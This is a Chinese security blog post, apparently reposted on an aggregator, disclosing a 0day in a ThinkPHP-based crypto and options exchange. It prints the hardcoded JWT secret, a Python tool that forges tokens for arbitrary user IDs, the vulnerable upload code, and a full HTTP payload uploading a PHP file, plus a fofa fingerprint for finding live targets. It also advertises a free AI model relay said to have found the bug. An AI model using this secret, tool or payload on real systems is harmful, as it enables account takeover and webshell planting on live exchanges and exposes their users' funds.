【组合拳】某币币期权多语言交易所前台任意文件上传漏洞"

admin 2026-10-24 09:24:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【组合拳】某币币期权多语言交易所前台任意文件上传漏洞

原创

XingYue404
XingYue404

星悦安全

2026年5月25日 14:05
浙江

在小说阅读器读本章

去阅读

点击上方蓝字关注我们 并设为星标

0x00 前言

有币币交易、期权交易、永续合约、Defi借贷、新币申购、矿机投资理财等功能,还可以发行空气币(平台币),后台能控制期权交易订单的输赢,期权交易类似秒合约交易,感觉没多大区别,充值提现都是虚拟币,推广带三级分销,币种可以相互划转

fofa指纹 : \"/index/seconds/index.html\"

框架:ThinkPHP 6.1.4  Debug:True

0x01 漏洞研究 & 复现

位于 app/uniapp/common/JwtAuth.php 中的JWT 签名密钥被硬编码为:TP6&\fox1988#$LJL\&^&\*1989

uid直接来自 token claim,可签发任意uid的 JWT,进一步访问uniapp、api中需要登录的接口,包括上传、提现、资料修改等,根据代码可直接编写JWT伪造工具。

#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import json
import time
from datetime import datetime, timezone

DEFAULT_SECRET = \"TP6&*fox1988#$LJL*&^&*1989\"
DEFAULT_ISS = \"fox.com\"
DEFAULT_AUD = \"tp6_server_app\"

def base64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode(\"ascii\").rstrip(\"=\")

def make_jwt(payload: dict, secret: str) -> str:
    header = {\"typ\": \"JWT\", \"alg\": \"HS256\"}
    header_part = base64url(json.dumps(header, separators=(\",\", \":\")).encode(\"utf-8\"))
    payload_part = base64url(json.dumps(payload, separators=(\",\", \":\")).encode(\"utf-8\"))
    signing_input = f\"{header_part}.{payload_part}\".encode(\"ascii\")
    signature = hmac.new(secret.encode(\"utf-8\"), signing_input, hashlib.sha256).digest()
    return f\"{header_part}.{payload_part}.{base64url(signature)}\"

def build_payload(){
    中间省略一段
    }

def format_utc(ts: int) -> str:
    return datetime.fromtimestamp(ts, timezone.utc).strftime(\"%Y-%m-%d %H:%M:%S UTC\")

def main() -> int:
    parser = argparse.ArgumentParser(description=\"Forge JWT for the audited ThinkPHP project.\")
    parser.add_argument(\"--uid\", type=int, default=2, help=\"target user id, default: 2\")
    parser.add_argument(
        \"--type\",
        choices=[\"uniapp\", \"api\", \"both\"],
        default=\"uniapp\",
        help=\"token type, default: uniapp\",
    )
    parser.add_argument(\"--days\", type=int, default=365, help=\"token lifetime in days, default: 365\")
    parser.add_argument(\"--hours\", type=int, default=0, help=\"extra token lifetime in hours\")
    parser.add_argument(\"--secret\", default=DEFAULT_SECRET, help=\"JWT HMAC secret\")
    parser.add_argument(\"--iss\", default=DEFAULT_ISS, help=\"JWT issuer\")
    parser.add_argument(\"--aud\", default=DEFAULT_AUD, help=\"JWT audience\")
    args = parser.parse_args()

    if args.uid <= 0:
        raise SystemExit(\"Invalid --uid\")

    ttl = args.days * 86400 + args.hours * 3600
    if ttl <= 0:
        raise SystemExit(\"Invalid lifetime, use --days or --hours\")

    now = int(time.time())
    token_types = [\"uniapp\", \"api\"] if args.type == \"both\" else [args.type]

    for token_type in token_types:
        payload = build_payload(token_type, args.uid, now, ttl, args.iss, args.aud)
        token = make_jwt(payload, args.secret)

        print(f\"=== {token_type} JWT ===\")
        print(f\"uid: {args.uid}\")
        print(f\"payload: {json.dumps(payload, separators=(',', ':'))}\")
        print(f\"expires_at: {format_utc(payload['exp'])}\")
        print(\"token:\")
        print(token)
        print(f\"Authorization: Bearer {token}\")
        print()

    return 0

if __name__ == \"__main__\":
    raise SystemExit(main())

然后直接运行工具,即可生成用户id为2的JWT,可直接进行访问其可控接口

前台权限绕过+文件上传组合拳:

由于本方法需要普通用户权限,所以可以结合JWT伪造漏洞直接组合拳.

位于 /app/uniapp/controller/Member.php 中的 upload\_card 方法直接调用Filesystem::disk('public')->putFile()写入public/upload/cards/{uid},导致漏洞产生.

public function upload_card()
{
    $data = [
      'file' => request()->file('file'),
   ];
   $data['paths'] = 'upload/cards/' . $this->member['id'];
   // $this->validate($data, 'Pic');
   // try {
   //     $this->validate($data, 'Pic');
   // } catch (\\Exception $e) {
   //  return $this->up_message(1, $e->getMessage());
   // }
   $fileName = date('YmdHis') . rand(1000, 9999);
   $savename = \\think\\facade\\Filesystem::disk('public')->putFile($data['paths'], $data['file'], function () use ($fileName) {
      return $fileName;
  });

  if ($savename) {
      $path = '/' . $savename;
      $rdata = [];
      $rdata['url'] = $path;
      $rdata['src'] = server_url() . $path;
      return $this->up_message(0, lang('public.upload_ok'), $rdata);
  } else {
      return $this->up_message(1, lang('public.upload_fail'));
  }
}

Payload:

POST /uniapp/member/upload_card HTTP/1.1
Host: 192.168.140.128
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytWIvtdAsZeAHIKQN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.140.128
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.140.128/uniapp/member/upload_card
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
token: 你生成的用户JWT
Connection: close

------WebKitFormBoundarytWIvtdAsZeAHIKQN
Content-Disposition: form-data; name=\"file\"; filename=\"1.php\"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarytWIvtdAsZeAHIKQN--

0x02 同款漏洞

*标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所*

**本漏洞完全由星悦AI中转提供的GPT5.5挖掘.****

https://www.xyusec.com/

DeepSeek-v4-flash DeepSeek-v4-Pro

Glm-5 Glm-5.1 kimi-k2.5 miniMax-M2.5 Qwen3-235B-A22B Qwen3.5-397B-A17B

以上模型全部免费使用,还可以进群领取5$

**免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****


【组合拳】某币币期权多语言交易所前台任意文件上传漏洞" 网络安全文章

【组合拳】某币币期权多语言交易所前台任意文件上传漏洞"

该文档披露某多语言数字货币交易所存在前台任意文件上传漏洞,核心问题为JWT签名密钥硬编码导致可伪造任意用户令牌,结合未授权文件上传功能可实现Webshell植入。漏洞位于ThinkPHP框架的JwtAuth.php和Member.php,文章提供了完整的Python利用工具和HTTP攻击载荷。关键发现包括权限绕过机制和文件上传路径可控性,建议立即更换密钥并加强文件类型验证。
抱歉,团队已经解散了!" 网络安全文章

抱歉,团队已经解散了!"

该文档为`全灵AI`产品的限时促销广告,宣称提供298元终身买断服务,整合对话模型、AI绘画、修图、视频生成、音乐创作等20余项功能,强调可替代团队作业并承诺永久更新。文章通过大量应用场景案例展示功能优势,并对比市场订阅价格突出性价比,但未提供具体技术实现细节或第三方验证信息。
山石网科亮相香港数码港CyberportAIFrontier2026活动" 网络安全文章

山石网科亮相香港数码港CyberportAIFrontier2026活动"

山石网科于2026年5月22日参与香港数码港CyberportAIFrontier2026活动,展示其双A战略(ASIC+AI)在AI安全领域的落地成果,重点推出面向OpenClaw智能体的全生命周期边界防护方案。该方案覆盖下载、配置、运行等环节的风险管控,体现其深耕港澳市场的战略布局。活动聚焦AI技术产业化应用,山石网科通过与数码港的战略合作持续推进网络安全能力建设,为企业智能化转型提供安全支撑。
BadPods实战:在AWSEKS上投放一枚“全权限”炸弹会怎样" 网络安全文章

BadPods实战:在AWSEKS上投放一枚“全权限”炸弹会怎样"

该文档通过AWSEKS环境实战演示了Kubernetes全权限Pod(BadPods)的攻击链:利用privileged、hostPath、hostNetwork等危险配置实现容器逃逸→宿主机控制→集群横向移动→AWS云账号接管。关键发现包括EKS默认Pod安全准入策略未拦截此类高危Pod,并提供了从节点IAM角色获取临时凭证的具体攻击步骤。文章建议严格限制Pod权限并验证云服务配置,具备可复现的测试脚本和跨云平台对比计划。
评论:0   参与:  0